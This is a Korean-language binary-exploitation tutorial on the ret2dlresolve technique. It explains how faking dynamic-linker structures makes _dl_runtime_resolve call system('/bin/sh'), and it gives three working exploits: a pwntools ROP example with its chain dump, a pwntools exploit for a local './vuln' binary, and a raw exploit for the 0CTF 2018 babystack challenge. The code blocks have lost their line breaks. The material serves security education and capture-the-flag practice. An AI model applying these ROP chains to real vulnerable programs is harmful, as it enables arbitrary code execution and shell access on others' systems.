GOT/PLT 및 Relro 페이지에서 설명한 대로, Full Relro가 없는 이진 파일은 사용될 때 처음으로 외부 라이브러리의 주소와 같은 심볼을 해결합니다. 이 해결은 _dl_runtime_resolve 함수를 호출하여 발생합니다.
_dl_runtime_resolve 함수는 해결해야 하는 지정된 심볼을 해결하기 위해 필요한 일부 구조에 대한 스택 참조를 가져옵니다.
따라서 모든 이러한 구조를 가짜로 만들어 요청된 심볼(예: system 함수)을 동적으로 연결하여 구성된 매개변수(예: system('/bin/sh'))로 호출할 수 있습니다.
일반적으로, read를 호출하는 초기 ROP 체인을 만들어 쓰기 가능한 메모리에서 구조체 및 문자열 **'/bin/sh'**가 전달되어 알려진 위치에 읽혀 저장되도록 하고, 그런 다음 ROP 체인이 계속되어 **_dl_runtime_resolve**를 호출하여 가짜 구조체에서 **system**의 주소를 해결하고 이 주소를 **'/bin/sh'**의 주소와 함께 호출합니다.
이 기술은 특히 시스템 호출 가젯(예: ret2syscall 또는 SROP와 같은 기술을 사용할 수 없는 경우 및 libc 주소를 노출할 수 있는 방법이 없는 경우에 유용합니다.
context.binary = elf =ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))>>> rop =ROP(elf)>>> dlresolve =Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])>>> rop.read(0, dlresolve.data_addr)# do not forget this step, but use whatever function you like>>> rop.ret2dlresolve(dlresolve)>>> raw_rop = rop.chain()>>>print(rop.dump())0x0000:0x400593 pop rdi; ret0x0008:0x0 [arg0] rdi =00x0010:0x400591 pop rsi; pop r15; ret0x0018:0x601e00 [arg1] rsi =62991360x0020:b'iaaajaaa'<pad r15>0x0028:0x4003f0 read0x0030:0x400593 pop rdi; ret0x0038:0x601e48 [arg0] rdi =62992080x0040:0x4003e0 [plt_init] system0x0048:0x15670 [dlresolve index]
예제
순수 Pwntools
이 기술의 예제를 여기에서 찾을 수 있습니다최종 ROP 체인에 대한 매우 좋은 설명이 포함되어 있지만, 여기에 사용된 최종 악용은 다음과 같습니다:
from pwn import*elf = context.binary =ELF('./vuln', checksec=False)p = elf.process()rop =ROP(elf)# create the dlresolve objectdlresolve =Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])rop.raw('A'*76)rop.read(0, dlresolve.data_addr)# read to where we want to write the fake structuresrop.ret2dlresolve(dlresolve)# call .plt and dl-resolve() with the correct, calculated reloc_offsetlog.info(rop.dump())p.sendline(rop.chain())p.sendline(dlresolve.payload)# now the read is called and we pass all the relevant structures inp.interactive()
원시
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystackfrom pwn import*target =process('./babystack')#gdb.attach(target)elf =ELF('babystack')# Establish starts of various sectionsbss =0x804a020dynstr =0x804822cdynsym =0x80481ccrelplt =0x80482b0# Establish two functionsscanInput =p32(0x804843b)resolve =p32(0x80482f0)#dlresolve address# Establish size of second payloadpayload1_size =43# Our first scan# This will call read to scan in our fake entries into the plt# Then return back to scanInput to re-exploit the bugpayload0 =""payload0 +="0"*44# Filler from start of input to return addresspayload0 +=p32(elf.symbols['read'])# Return readpayload0 += scanInput # After the read call, return to scan inputpayload0 +=p32(0)# Read via stdinpayload0 +=p32(bss)# Scan into the start of the bsspayload0 +=p32(payload1_size)# How much data to scan intarget.send(payload0)# Our second scan# This will be scanned into the start of the bss# It will contain the fake entries for our ret_2_dl_resolve attack# Calculate the r_info value# It will provide an index to our dynsym entrydynsym_offset = ((bss +0xc) - dynsym) /0x10r_info = (dynsym_offset <<8) |0x7# Calculate the offset from the start of dynstr section to our dynstr entrydynstr_index = (bss +28) - dynstrpaylaod1 =""# Our .rel.plt entrypaylaod1 +=p32(elf.got['alarm'])paylaod1 +=p32(r_info)# Emptypaylaod1 +=p32(0x0)# Our dynsm entrypaylaod1 +=p32(dynstr_index)paylaod1 +=p32(0xde)*3# Our dynstr entrypaylaod1 +="system\x00"# Store "/bin/sh" here so we can have a pointer ot itpaylaod1 +="/bin/sh\x00"target.send(paylaod1)# Our third scan, which will execute the ret_2_dl_resolve# This will just call 0x80482f0, which is responsible for calling the functions for resolving# We will pass it the `.rel.plt` index for our fake entry# As well as the arguments for system# Calculate address of "/bin/sh"binsh_bss_address = bss +35# Calculate the .rel.plt offsetret_plt_offset = bss - relpltpaylaod2 =""paylaod2 +="0"*44paylaod2 += resolve # 0x80482f0paylaod2 +=p32(ret_plt_offset)# .rel.plt offsetpaylaod2 +=p32(0xdeadbeef)# The next return address after 0x80482f0, really doesn't matter for uspaylaod2 +=p32(binsh_bss_address)# Our argument, address of "/bin/sh"target.send(paylaod2)# Enjoy the shell!target.interactive()
32비트, relro 없음, 캐너리 없음, nx, pie 없음, 기본적인 작은 버퍼 오버플로우 및 리턴. 이를 악용하기 위해 bof를 사용하여 .bss 섹션과 더 큰 크기로 다시 read를 호출하여 dlresolve 가짜 테이블을 로드하고 system을 로드하고, main으로 돌아가서 초기 bof를 다시 악용하여 dlresolve를 호출하고 system('/bin/sh')를 실행합니다.